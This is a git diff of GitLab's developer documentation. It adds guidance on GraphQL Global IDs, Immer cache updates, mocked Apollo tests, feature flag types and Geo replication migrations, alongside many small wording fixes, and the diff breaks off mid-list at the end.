In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction.
+In August 2020, a second Deep Dive was hosted, focusing on [GitLab's specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive) are available. Everything covered in this deep dive was accurate as of GitLab 13.3.
+
## Supported Versions
See [Version Requirements](../integration/elasticsearch.md#version-requirements).
@@ -218,7 +220,7 @@ logs will also include the time spent on Database and Gitaly requests, which
may help to diagnose which part of the search is performing poorly.
There are additional logs specific to Elasticsearch that are sent to
-[`elasticsearch.log`](../administration/logs.md#elasticsearchlog-starter-only)
+[`elasticsearch.log`](../administration/logs.md#elasticsearchlog)
that may contain information to help diagnose performance issues.
### Performance Bar
@@ -229,7 +231,7 @@ be used both locally in development and on any deployed GitLab instance to
diagnose poor search performance. This will show the exact queries being made,
which is useful to diagnose why a search might be slow.
-### Correlation ID and X-Opaque-Id
+### Correlation ID and `X-Opaque-Id`
Our [correlation
ID](./distributed_tracing.md#developer-guidelines-for-working-with-correlation-ids)
diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md
index b1a15c7749f..07b803603a5 100644
--- a/doc/development/experiment_guide/index.md
+++ b/doc/development/experiment_guide/index.md
@@ -16,7 +16,7 @@ In either case, an outcome of the experiment should be posted to the issue with
## Code reviews
-Since the code of experiments will not be part of the codebase for a long time and we want to iterate fast to retrieve data,the code quality of experiments might sometimes not fulfill our standards but should not negatively impact the availability of GitLab whether the experiment is running or not.
+Since the code of experiments will not be part of the codebase for a long time and we want to iterate fast to retrieve data, the code quality of experiments might sometimes not fulfill our standards but should not negatively impact the availability of GitLab whether the experiment is running or not.
Initially experiments will only be deployed to a fraction of users but we still want a flawless experience for those users. Therefore, experiments still require tests.
For reviewers and maintainers: if you find code that would usually not make it through the review, but is temporarily acceptable, please mention your concerns but note that it's not necessary to change.
diff --git a/doc/development/fe_guide/development_process.md b/doc/development/fe_guide/development_process.md
index ff36b8b5c6a..2b64534e7c9 100644
--- a/doc/development/fe_guide/development_process.md
+++ b/doc/development/fe_guide/development_process.md
@@ -4,7 +4,7 @@ You can find more about the organization of the frontend team in the [handbook](
## Development Checklist
-The idea is to remind us about specific topics during the time we build a new feature or start something. This is a common practice in other industries (like pilots) that also use standardised checklists to reduce problems early on.
+The idea is to remind us about specific topics during the time we build a new feature or start something. This is a common practice in other industries (like pilots) that also use standardized checklists to reduce problems early on.
Copy the content over to your issue or merge request and if something doesn't apply simply remove it from your current list.
diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md
index 71436a7c7fb..0a26fdba934 100644
--- a/doc/development/fe_guide/frontend_faq.md
+++ b/doc/development/fe_guide/frontend_faq.md
@@ -162,7 +162,7 @@ To return to the normal development mode:
1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change back `dev_server` to `enabled: true`.
1. Run `yarn clean` to remove the production assets and free some space (optional).
1. Start webpack again: `gdk start webpack`.
-1. Restart GDK: `gdk-restart rails-web`.
+1. Restart GDK: `gdk restart rails-web`.
### 8. Babel polyfills
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index f5e16d377f1..82cd19dce4f 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -1,3 +1,10 @@
+---
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+---
+
# GraphQL
## Getting Started
@@ -32,6 +39,9 @@ can help you learn how to integrate Vue Apollo.
For other use cases, check out the [Usage outside of Vue](#usage-outside-of-vue) section.
+We use [Immer](https://immerjs.github.io/immer/docs/introduction) for immutable cache updates;
+see [Immutability and cache updates](#immutability-and-cache-updates) for more information.
+
### Tooling
- [Apollo Client Devtools](https://github.com/apollographql/apollo-client-devtools)
@@ -131,6 +141,56 @@ fragment DesignItem on Design {
More about fragments:
[GraphQL Docs](https://graphql.org/learn/queries/#fragments)
+## Global IDs
+
+GitLab's GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL
+primary key `id`. Global ID is [a convention](https://graphql.org/learn/global-object-identification/)
+used for caching and fetching in client-side libraries.
+
+To convert a Global ID to the primary key `id`, you can use `getIdFromGraphQLId`:
+
+```javascript
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+
+const primaryKeyId = getIdFromGraphQLId(data.id);
+```
+
+## Immutability and cache updates
+
+From Apollo version 3.0.0 all the cache updates need to be immutable; it needs to be replaced entirely
+with a **new and updated** object.
+
+To facilitate the process of updating the cache and returning the new object we use the library [Immer](https://immerjs.github.io/immer/docs/introduction).
+When possible, follow these conventions:
+
+- The updated cache is named `data`.
+- The original cache data is named `sourceData`.
+
+A typical update process looks like this:
+
+```javascript
+...
+const sourceData = client.readQuery({ query });
+
+const data = produce(sourceData, draftState => {
+ draftState.commits.push(newCommit);
+});
+
+client.writeQuery({
+ query,
+ data,
+});
+...
+```
+
+As shown in the code example by using `produce`, we can perform any kind of direct manipulation of the
+`draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` will be generated.
+
+Finally, to verify whether the immutable cache update is working properly, we need to change
+`assumeImmutableResults` to `true` in the `default client config` (see [Apollo Client](#apollo-client) for more info).
+
+If everything is working properly `assumeImmutableResults` should remain set to `true`.
+
## Usage in Vue
To use Vue Apollo, import the [Vue Apollo](https://github.com/vuejs/vue-apollo) plugin as well
@@ -602,6 +662,174 @@ it('calls mutation on submitting form ', () => {
});
```
+### Testing with mocked Apollo Client
+
+To test the logic of Apollo cache updates, we might want to mock an Apollo Client in our unit tests. To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional component factory. This way we only create Apollo Client instance when it's necessary:
+
+```javascript
+function createComponent() {...}
+
+function createComponentWithApollo() {...}
+```
+
+We use [`mock-apollo-client`](https://www.npmjs.com/package/mock-apollo-client) library to mock Apollo client in tests.
+
+```javascript
+import { createMockClient } from 'mock-apollo-client';
+```
+
+Then we need to inject `VueApollo` to Vue local instance (`localVue.use()` can also be called within `createComponentWithApollo()`)
+
+```javascript
+import VueApollo from 'vue-apollo';
+import { createLocalVue } from '@vue/test-utils';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+```
+
+After this, on the global `describe`, we should create a variable for `fakeApollo`:
+
+```javascript
+describe('Some component with Apollo mock', () => {
+ let wrapper;
+ let fakeApollo
+})
+```
+
+Within component factory, we need to define an array of _handlers_ for every query or mutation:
+
+```javascript
+import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql';
+import permissionsQuery from '~/design_management/graphql/queries/design_permissions.query.graphql';
+import moveDesignMutation from '~/design_management/graphql/mutations/move_design.mutation.graphql';
+
+describe('Some component with Apollo mock', () => {
+ let wrapper;
+ let fakeApollo;
+
+ function createComponentWithApollo() {
+ const requestHandlers = [
+ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
+ [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
+ ];
+ }
+})
+```
+
+After this, we need to create a mock Apollo Client instance using a helper:
+
+```javascript
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+
+describe('Some component with Apollo mock', () => {
+ let wrapper;
+ let fakeApollo;
+
+ function createComponentWithApollo() {
+ const requestHandlers = [
+ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
+ [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
+ ];
+
+ fakeApollo = createMockApollo(requestHandlers);
+ wrapper = shallowMount(Index, {
+ localVue,
+ apolloProvider: fakeApollo,
+ });
+ }
+})
+```
+
+NOTE: **Note:**
+When mocking resolved values, make sure the structure of the response is the same as actual API response: i.e. root property should be `data` for example
+
+When testing queries, please keep in mind they are promises, so they need to be _resolved_ to render a result. Without resolving, we can check the `loading` state of the query:
+
+```javascript
+it('renders a loading state', () => {
+ createComponentWithApollo();
+
+ expect(wrapper.find(LoadingSpinner).exists()).toBe(true)
+});
+
+it('renders designs list', async () => {
+ createComponentWithApollo();
+
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+
+ expect(findDesigns()).toHaveLength(3);
+});
+```
+
+If we need to test a query error, we need to mock a rejected value as request handler:
+
+```javascript
+function createComponentWithApollo() {
+ ...
+ const requestHandlers = [
+ [getDesignListQuery, jest.fn().mockRejectedValue(new Error('GraphQL error')],
+ ];
+ ...
+}
+...
+
+it('renders error if query fails', async () => {
+ createComponent()
+
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find('.test-error').exists()).toBe(true)
+})
+```
+
+Request handlers can also be passed to component factory as a parameter.
+
+Mutations could be tested the same way with a few additional `nextTick`s to get the updated result:
+
+```javascript
+function createComponentWithApollo({
+ moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse),
+}) {
+ moveDesignHandler = moveHandler;
+
+ const requestHandlers = [
+ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
+ [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
+ [moveDesignMutation, moveDesignHandler],
+ ];
+
+ fakeApollo = createMockApollo(requestHandlers);
+ wrapper = shallowMount(Index, {
+ localVue,
+ apolloProvider: fakeApollo,
+ });
+}
+...
+it('calls a mutation with correct parameters and reorders designs', async () => {
+ createComponentWithApollo({});
+
+ wrapper.find(VueDraggable).vm.$emit('change', {
+ moved: {
+ newIndex: 0,
+ element: designToMove,
+ },
+ });
+
+ expect(moveDesignHandler).toHaveBeenCalled();
+
+ await wrapper.vm.$nextTick();
+
+ expect(
+ findDesigns()
+ .at(0)
+ .props('id'),
+ ).toBe('2');
+});
+```
+
## Handling errors
GitLab's GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data).
diff --git a/doc/development/fe_guide/style/index.md b/doc/development/fe_guide/style/index.md
index 8d70d4db893..4ca409664de 100644
--- a/doc/development/fe_guide/style/index.md
+++ b/doc/development/fe_guide/style/index.md
@@ -1,11 +1,11 @@
# GitLab development style guides
-See below the relevant style guides, guidelines, linting, and other information for developing GitLab.
+See below for the relevant style guides, guidelines, linting, and other information for developing GitLab.
## JavaScript style guide
We use `eslint` to enforce our [JavaScript style guides](javascript.md). Our guide is based on
-the excellent [AirBnB](https://github.com/airbnb/javascript) style guide with a few small
+the excellent [Airbnb](https://github.com/airbnb/javascript) style guide with a few small
changes.
## SCSS style guide
diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md
index 9573dd36e63..4badf3f0845 100644
--- a/doc/development/fe_guide/vuex.md
+++ b/doc/development/fe_guide/vuex.md
@@ -55,10 +55,6 @@ export const createStore = () =>
});
```
-_Note:_ Until this
-[RFC](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/20) is implemented,
-the above will need to disable the `import/prefer-default-export` ESLint rule.
-
### `state.js`
The first thing you should do before writing any code is to design the state.
@@ -220,12 +216,15 @@ A mutation written like this is harder to maintain and more error prone. We shou
// Good
export default {
[types.MARK_AS_CLOSED](state, itemId) {
- const item = state.items.find(i => i.id == itemId);
- Vue.set(item, 'closed', true)
+ const item = state.items.find(x => x.id === itemId);
- state.items.splice(index, 1, item)
- }
-}
+ if (!item) {
+ return;
+ }
+
+ Vue.set(item, 'closed', true);
+ },
+};
```
This approach is better because:
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index 09260be1264..605b5919e0b 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -1,3 +1,10 @@
+---
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+---
+
# Feature flag controls
## Access
diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md
index 9b30187fcd1..29bd0ca0a7e 100644
--- a/doc/development/feature_flags/development.md
+++ b/doc/development/feature_flags/development.md
@@ -1,3 +1,10 @@
+---
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+---
+
# Developing with feature flags
This document provides guidelines on how to use feature flags
@@ -18,9 +25,7 @@ This document is the subject of continued work as part of an epic to [improve in
## Types of feature flags
-Currently, only a single type of feature flag is available.
-Additional feature flag types will be provided in the future,
-with descriptions for their usage.
+Choose a feature flag type that matches the expected usage.
### `development` type
@@ -33,6 +38,53 @@ ideally created using the [Feature Flag Roll Out template](https://gitlab.com/gi
NOTE: **Note:**
This is the default type used when calling `Feature.enabled?`.
+### `ops` type
+
+`ops` feature flags are long-lived feature flags that control operational aspects
+of GitLab's behavior. For example, feature flags that disable features that might
+have a performance impact, like special Sidekiq worker behavior.
+
+`ops` feature flags likely do not have rollout issues, as it is hard to
+predict when they will be enabled or disabled.
+
+To use `ops` feature flags, you must append `type: :ops` to `Feature.enabled?`
+invocations:
+
+```ruby
+# Check if feature flag is enabled
+Feature.enabled?(:my_ops_flag, project, type: ops)
+
+# Check if feature flag is disabled
+Feature.disabled?(:my_ops_flag, project, type: ops)
+
+# Push feature flag to Frontend
+push_frontend_feature_flag(:my_ops_flag, project, type: :ops)
+```
+
+### `licensed` type
+
+`licensed` feature flags are used to temporarily disable licensed features. There
+should be a one-to-one mapping of `licensed` feature flags to licensed features.
+
+`licensed` feature flags must be `default_enabled: true`, because that's the only
+supported option in the current implementation. This is under development as per
+the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667).
+
+The `licensed` type has a dedicated set of functions to check if a licensed
+feature is available for a project or namespace. This check validates
+if the license is assigned to the namespace and feature flag itself.
+The `licensed` feature flag has the same name as a licensed feature name:
+
+```ruby
+# Good: checks if feature flag is enabled
+project.feature_available?(:my_licensed_feature)
+namespace.feature_available?(:my_licensed_feature)
+
+# Bad: licensed flag must be accessed via `feature_available?`
+Feature.enabled?(:my_licensed_feature, type: :licensed)
+push_frontend_feature_flag(:my_licensed_feature, type: :licensed)
+```
+
## Feature flag definition and validation
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229161) in GitLab 13.3.
@@ -58,7 +110,7 @@ Each feature flag is defined in a separate YAML file consisting of a number of f
|---------------------|----------|----------------------------------------------------------------|
| `name` | yes | Name of the feature flag. |
| `type` | yes | Type of feature flag. |
-| `default_enabled` | yes | The default state of the feature flag that is strongly validated, with `default_enabled:` passed as an argument. |
+| `default_enabled` | yes | The default state of the feature flag that is strictly validated, with `default_enabled:` passed as an argument. |
| `introduced_by_url` | no | The URL to the Merge Request that introduced the feature flag. |
| `rollout_issue_url` | no | The URL to the Issue covering the feature flag rollout. |
| `group` | no | The [group](https://about.gitlab.com/handbook/product/product-categories/#devops-stages) that owns the feature flag. |
@@ -77,16 +129,16 @@ Only feature flags that have a YAML definition file can be used when running the
```shell
$ bin/feature-flag my-feature-flag
->> Please specify the group introducing feature flag, like `group::apm`:
+>> Specify the group introducing the feature flag, like `group::apm`:
?> group::memory
->> If you have MR open, can you paste the URL here? (or enter to skip)
+>> URL of the MR introducing the feature flag (enter to skip):
?> https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38602
->> Open this URL and fill the rest of details:
+>> Open this URL and fill in the rest of the details:
https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue%5Btitle%5D=%5BFeature+flag%5D+Rollout+of+%60test-flag%60&issuable_template=Feature+Flag+Roll+Out
->> Paste URL of `rollout issue` here, or enter to skip:
+>> URL of the rollout issue (enter to skip):
?> https://gitlab.com/gitlab-org/gitlab/-/issues/232533
create config/feature_flags/development/test-flag.yml
---
@@ -140,6 +192,21 @@ if Feature.disabled?(:my_feature_flag, project, default_enabled: true)
end
```
+If not specified, the default feature flag type for `Feature.enabled?` and `Feature.disabled?`
+is `type: development`. For all other feature flag types, you must specify the `type:`:
+
+```ruby
+if Feature.enabled?(:feature_flag, project, type: :ops)
+ # execute code if ops feature flag is enabled
+else
+ # execute code if ops feature flag is disabled
+end
+
+if Feature.disabled?(:my_feature_flag, project, type: :ops)
+ # execute code if feature flag is disabled
+end
+```
+
### Frontend
Use the `push_frontend_feature_flag` method for frontend code, which is
@@ -185,6 +252,15 @@ before_action do
end
```
+If not specified, the default feature flag type for `push_frontend_feature_flag`
+is `type: development`. For all other feature flag types, you must specify the `type:`:
+
+```ruby
+before_action do
+ push_frontend_feature_flag(:vim_bindings, project, type: :ops)
+end
+```
+
### Feature actors
**It is strongly advised to use actors with feature flags.** Actors provide a simple
@@ -229,7 +305,7 @@ used as an actor for `Feature.enabled?`.
### Feature flags for licensed features
If a feature is license-gated, there's no need to add an additional
-explicit feature flag check since the flag will be checked as part of the
+explicit feature flag check since the flag is checked as part of the
`License.feature_available?` call. Similarly, there's no need to "clean up" a
feature flag once the feature has reached general availability.
@@ -238,12 +314,16 @@ The [`Project#feature_available?`](https://gitlab.com/gitlab-org/gitlab/blob/4cc
[`License.feature_available?`](https://gitlab.com/gitlab-org/gitlab/blob/4cc1c62918aa4c31750cb21dfb1a6c3492d71080/ee/app/models/license.rb#L293-300) (EE) methods all implicitly check for
a by default enabled feature flag with the same name as the provided argument.
-You'd still want to use an explicit `Feature.enabled?` check if your new feature
-isn't gated by a License or Plan.
-
**An important side-effect of the implicit feature flags mentioned above is that
unless the feature is explicitly disabled or limited to a percentage of users,
-the feature flag check will default to `true`.**
+the feature flag check defaults to `true`.**
+
+NOTE: **Note:**
+Due to limitations with `feature_available?`, the YAML definition for `licensed` feature
+flags accepts only `default_enabled: true`. This is under development as per the
+[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667).
+
+#### Alpha/beta licensed feature flags
This is relevant when developing the feature using
[several smaller merge requests](https://about.gitlab.com/handbook/values/#make-small-merge-requests), or when the feature is considered to be an
@@ -259,13 +339,31 @@ GitLab.com and self-managed instances, you should use the
method, according to our [definitions](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga). This ensures the feature is disabled unless the feature flag is
_explicitly_ enabled.
+CAUTION: **Caution:**
+If `alpha_feature_available?` or `beta_feature_available?` is used, the YAML definition
+for the feature flag must use `default_enabled: [false, true]`, because the usage
+of the feature flag is undefined. These methods may change, as per the
+[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667).
+
+The resulting YAML should be similar to:
+
+```yaml
+name: scoped_labels
+group: group::memory
+type: licensed
+# The `default_enabled:` is undefined
+# as `feature_available?` uses `default_enabled: true`
+# as `beta_feature_available?` uses `default_enabled: false`
+default_enabled: [false, true]
+```
+
### Feature groups
Feature groups must be defined statically in `lib/feature.rb` (in the
`.register_feature_groups` method), but their implementation can obviously be
-dynamic (querying the DB etc.).
+dynamic (querying the DB, for example).
-Once defined in `lib/feature.rb`, you will be able to activate a
+Once defined in `lib/feature.rb`, you can to activate a
feature for a given feature group via the [`feature_group` parameter of the features API](../../api/features.md#set-or-create-a-feature)
### Enabling a feature flag locally (in development)
@@ -276,7 +374,7 @@ In the rails console (`rails c`), enter the following command to enable a featur
Feature.enable(:feature_flag_name)
```
-Similarly, the following command will disable a feature flag:
+Similarly, the following command disables a feature flag:
```ruby
Feature.disable(:feature_flag_name)
@@ -290,7 +388,7 @@ Feature.enable(:feature_flag_name, Project.find_by_full_path("root/my-project"))
## Feature flags in tests
-Introducing a feature flag into the codebase creates an additional codepath that should be tested.
+Introducing a feature flag into the codebase creates an additional code path that should be tested.
It is strongly advised to test all code affected by a feature flag, both when **enabled** and **disabled**
to ensure the feature works properly.
@@ -325,10 +423,10 @@ Feature.enabled?(:ci_live_trace, project2) # => false
The behavior of FlipperGate is as follows:
-1. You can enable an override for a specified actor to be enabled
+1. You can enable an override for a specified actor to be enabled.
1. You can disable (remove) an override for a specified actor,
- falling back to default state
-1. There's no way to model that you explicitly disable a specified actor
+ falling back to the default state.
+1. There's no way to model that you explicitly disabled a specified actor.
```ruby
Feature.enable(:my_feature)
@@ -369,7 +467,7 @@ Feature.enable_percentage_of_time(:my_feature_3, 50)
Feature.enable_percentage_of_actors(:my_feature_4, 50)
```
-Each feature flag that has a defined state will be persisted
+Each feature flag that has a defined state is persisted
during test execution time:
```ruby
diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md
index 0c1e34edc6f..2643571aec3 100644
--- a/doc/development/feature_flags/index.md
+++ b/doc/development/feature_flags/index.md
@@ -1,15 +1,46 @@
+---
+type: index, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+---
+
# Feature flags in development of GitLab
-[Feature Flags](../../operations/feature_flags.md)
-can be used to gradually roll out changes, be
-it a new feature, or a performance improvement. By using feature flags, we can
-comfortably measure the impact of our changes, while still being able to easily
-disable those changes, without having to revert an entire release.
+Feature flags can be used to gradually deploy changes, regardless of whether
+they are new features or performance improvements. By using feature flags,
+you can determine the impact of GitLab-directed changes, while still being able
+to disable those changes without having to revert an entire release.
+
+Before using feature flags for GitLab's development, review the following development guides:
+
+NOTE: **Note:**
+The feature flags used by GitLab to deploy its own features **are not** the same
+as the [feature flags offered as part of the product](../../operations/feature_flags.md).
+
+For an overview about starting with feature flags in GitLab's development,
+use this [training template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/.gitlab/issue_templates/feature-flag-training.md).
+
+Development guides:
+
+- [Process for using features flags](process.md): When you should use
+ feature flags in the development of GitLab, what's the cost of using them,
+ and how to include them in a release.
+- [Developing with feature flags](development.md): Learn about the types of
+ feature flags, their definition and validation, how to create them, frontend and
+ backend details, and other information.
+- [Documenting features deployed behind feature flags](../documentation/feature_flags.md):
+ How to document features deployed behind feature flags, and how to update the
+ documentation for features' flags when their states change.
+- [Controlling feature flags](controls.md): Learn the process for deploying
+ a new feature, enabling it on GitLab.com, communicating the change,
+ logging, and cleaning up.
-Before using feature flags for GitLab's development, read through the following:
+User guides:
-- [Process for using features flags](process.md).
-- [Developing with feature flags](development.md).
-- [Controlling feature flags](controls.md).
-- [Documenting features deployed behind feature flags](../documentation/feature_flags.md).
-- [How GitLab administrators can enable and disable features behind flags](../../administration/feature_flags.md).
+- [How GitLab administrators can enable and disable features behind flags](../../administration/feature_flags.md):
+ An explanation for GitLab administrators about how they can
+ enable or disable GitLab features behind feature flags.
+- [What "features deployed behind flags" means to the GitLab user](../../user/feature_flags.md):
+ An explanation for GitLab users regarding how certain features
+ might not be available to them until they are enabled.
diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md
index 5dc3cf44a6e..b327eec58e8 100644
--- a/doc/development/feature_flags/process.md
+++ b/doc/development/feature_flags/process.md
@@ -1,3 +1,10 @@
+---
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+---
+
# Feature flags process
## Feature flags for user applications
diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md
new file mode 100644
index 00000000000..cb883471adf
--- /dev/null
+++ b/doc/development/features_inside_dot_gitlab.md
@@ -0,0 +1,16 @@
+# Features inside the `.gitlab/` directory
+
+We have implemented standard features that depend on configuration files in the `.gitlab/` directory. You can find `.gitlab/` in various GitLab repositories.
+When implementing new features, please refer to these existing features to avoid conflicts:
+
+- [Custom Dashboards](../operations/metrics/dashboards/index.md#add-a-new-dashboard-to-your-project): `.gitlab/dashboards/`.
+- [Issue Templates](../user/project/description_templates.md#creating-issue-templates): `.gitlab/issue_templates/`.
+- [Merge Request Templates](../user/project/description_templates.md#creating-merge-request-templates): `.gitlab/merge_request_templates/`.
+- [GitLab Kubernetes Agents](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`.
+- [CODEOWNERS](../user/project/code_owners.md#how-to-set-up-code-owners): `.gitlab/CODEOWNERS`.
+- [Route Maps](../ci/review_apps/#route-maps): `.gitlab/route-map.yml`.
+- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`.
+- [GitLab managed apps CI/CD](../user/clusters/applications.md#usage): `.gitlab/managed-apps/config.yaml`.
+- [Insights](../user/project/insights/index.md#configure-your-insights): `.gitlab/insights.yml`.
+- [Service Desk Templates](../user/project/service_desk.md#using-customized-email-templates): `.gitlab/service_desk_templates/`.
+- [Web IDE](../user/project/web_ide/#web-ide-configuration-file): `.gitlab/.gitlab-webide.yml`.
diff --git a/doc/development/geo.md b/doc/development/geo.md
index 57959b07e49..5b4af1c9931 100644
--- a/doc/development/geo.md
+++ b/doc/development/geo.md
@@ -147,7 +147,7 @@ request must also include the SHA256 sum of the file. An example JWT
payload looks like:
```yaml
-{ "data": { sha256: "31806bb23580caab78040f8c45d329f5016b0115" }, iat: "1234567890" }
+{"data": {sha256: "31806bb23580caab78040f8c45d329f5016b0115"}, iat: "1234567890"}
```
If the requested file matches the requested SHA256 sum, then the Geo
diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md
index 64c9030e3dd..b720a6ca47e 100644
--- a/doc/development/geo/framework.md
+++ b/doc/development/geo/framework.md
@@ -128,7 +128,7 @@ When this is set in place, it's easy to access the replicator through
the model:
```ruby
-package_file = Packages::PackageFile.find(4) # just a random id as example
+package_file = Packages::PackageFile.find(4) # just a random ID as example
replicator = package_file.replicator
```
@@ -235,11 +235,10 @@ For example, to add support for files referenced by a `Widget` model with a
`ee/lib/gitlab/geo.rb`:
```ruby
- def self.replicator_classes
- classes = [::Geo::PackageFileReplicator,
- ::Geo::WidgetReplicator]
-
- classes.select(&:enabled?)
+ REPLICATOR_CLASSES = [
+ ::Geo::PackageFileReplicator,
+ ::Geo::WidgetReplicator
+ ]
end
```
@@ -315,10 +314,6 @@ For example, to add support for files referenced by a `Widget` model with a
end
```
- The method `has_create_events?` should return `true` in most of the cases.
- However, if the entity you add doesn't have the create event, don't add the
- method at all.
-
1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`.
1. Add `widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`.
@@ -416,18 +411,26 @@ for verification state to the widgets table:
# frozen_string_literal: true
class AddVerificationFailureLimitToWidgets < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
DOWNTIME = false
disable_ddl_transaction!
- def change
- add_text_limit :widgets, :verification_failure, 255
+ CONSTRAINT_NAME = 'widget_verification_failure_text_limit'
+
+ def up
+ add_text_limit :widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:widget, CONSTRAINT_NAME)
end
end
```
1. Add a partial index on `verification_failure` and `verification_checksum` to ensure
- re-verification can be performed efficiently. Add a migration in `ee/db/geo/migrate/`:
+ re-verification can be performed efficiently:
```ruby
# frozen_string_literal: true
@@ -453,9 +456,9 @@ for verification state to the widgets table:
##### Option 2: Create a separate `widget_states` table with verification state fields
-1. Add a migration in `ee/db/geo/migrate/` to create a `widget_states` table and add a
- partial index on `verification_failure` and `verification_checksum` to ensure
- re-verification can be performed efficiently. Order the columns according to [our guidelines](../ordering_table_columns.md):
+1. Create a `widget_states` table and add a partial index on `verification_failure` and
+ `verification_checksum` to ensure re-verification can be performed efficiently. Order
+ the columns according to [our guidelines](../ordering_table_columns.md):
```ruby
# frozen_string_literal: true
@@ -520,44 +523,37 @@ Widgets should now be verified by Geo!
Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in
`GeoNodeStatus` for display in the UI, and sent to Prometheus.
-1. Add fields `widget_count`, `widget_checksummed_count`,
- `widget_checksum_failed_count`, `widget_synced_count`,
- `widget_failed_count`, and `widget_registry_count` to
- `GeoNodeStatus#RESOURCE_STATUS_FIELDS` array in
- `ee/app/models/geo_node_status.rb`.
-1. Add the same fields to `GeoNodeStatus#PROMETHEUS_METRICS` hash in
- `ee/app/models/geo_node_status.rb`.
-1. Add the same fields to `Sidekiq metrics` table in
- `doc/administration/monitoring/prometheus/gitlab_metrics.md`.
-1. Add the same fields to `GET /geo_nodes/status` example response in
+1. Add fields `widgets_count`, `widgets_checksummed_count`,
+ `widgets_checksum_failed_count`, `widgets_synced_count`,
+ `widgets_failed_count`, and `widgets_registry_count` to
+ `GET /geo_nodes/status` example response in
`doc/api/geo_nodes.md`.
-1. Add the same fields to `ee/spec/models/geo_node_status_spec.rb` and
- `ee/spec/factories/geo_node_statuses.rb`.
-1. Set `widget_count` in `GeoNodeStatus#load_data_from_current_node`:
+1. Add the same fields to `GET /geo_nodes/status` example response in
+ `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
+1. Add fields `geo_widgets`, `geo_widgets_checksummed`,
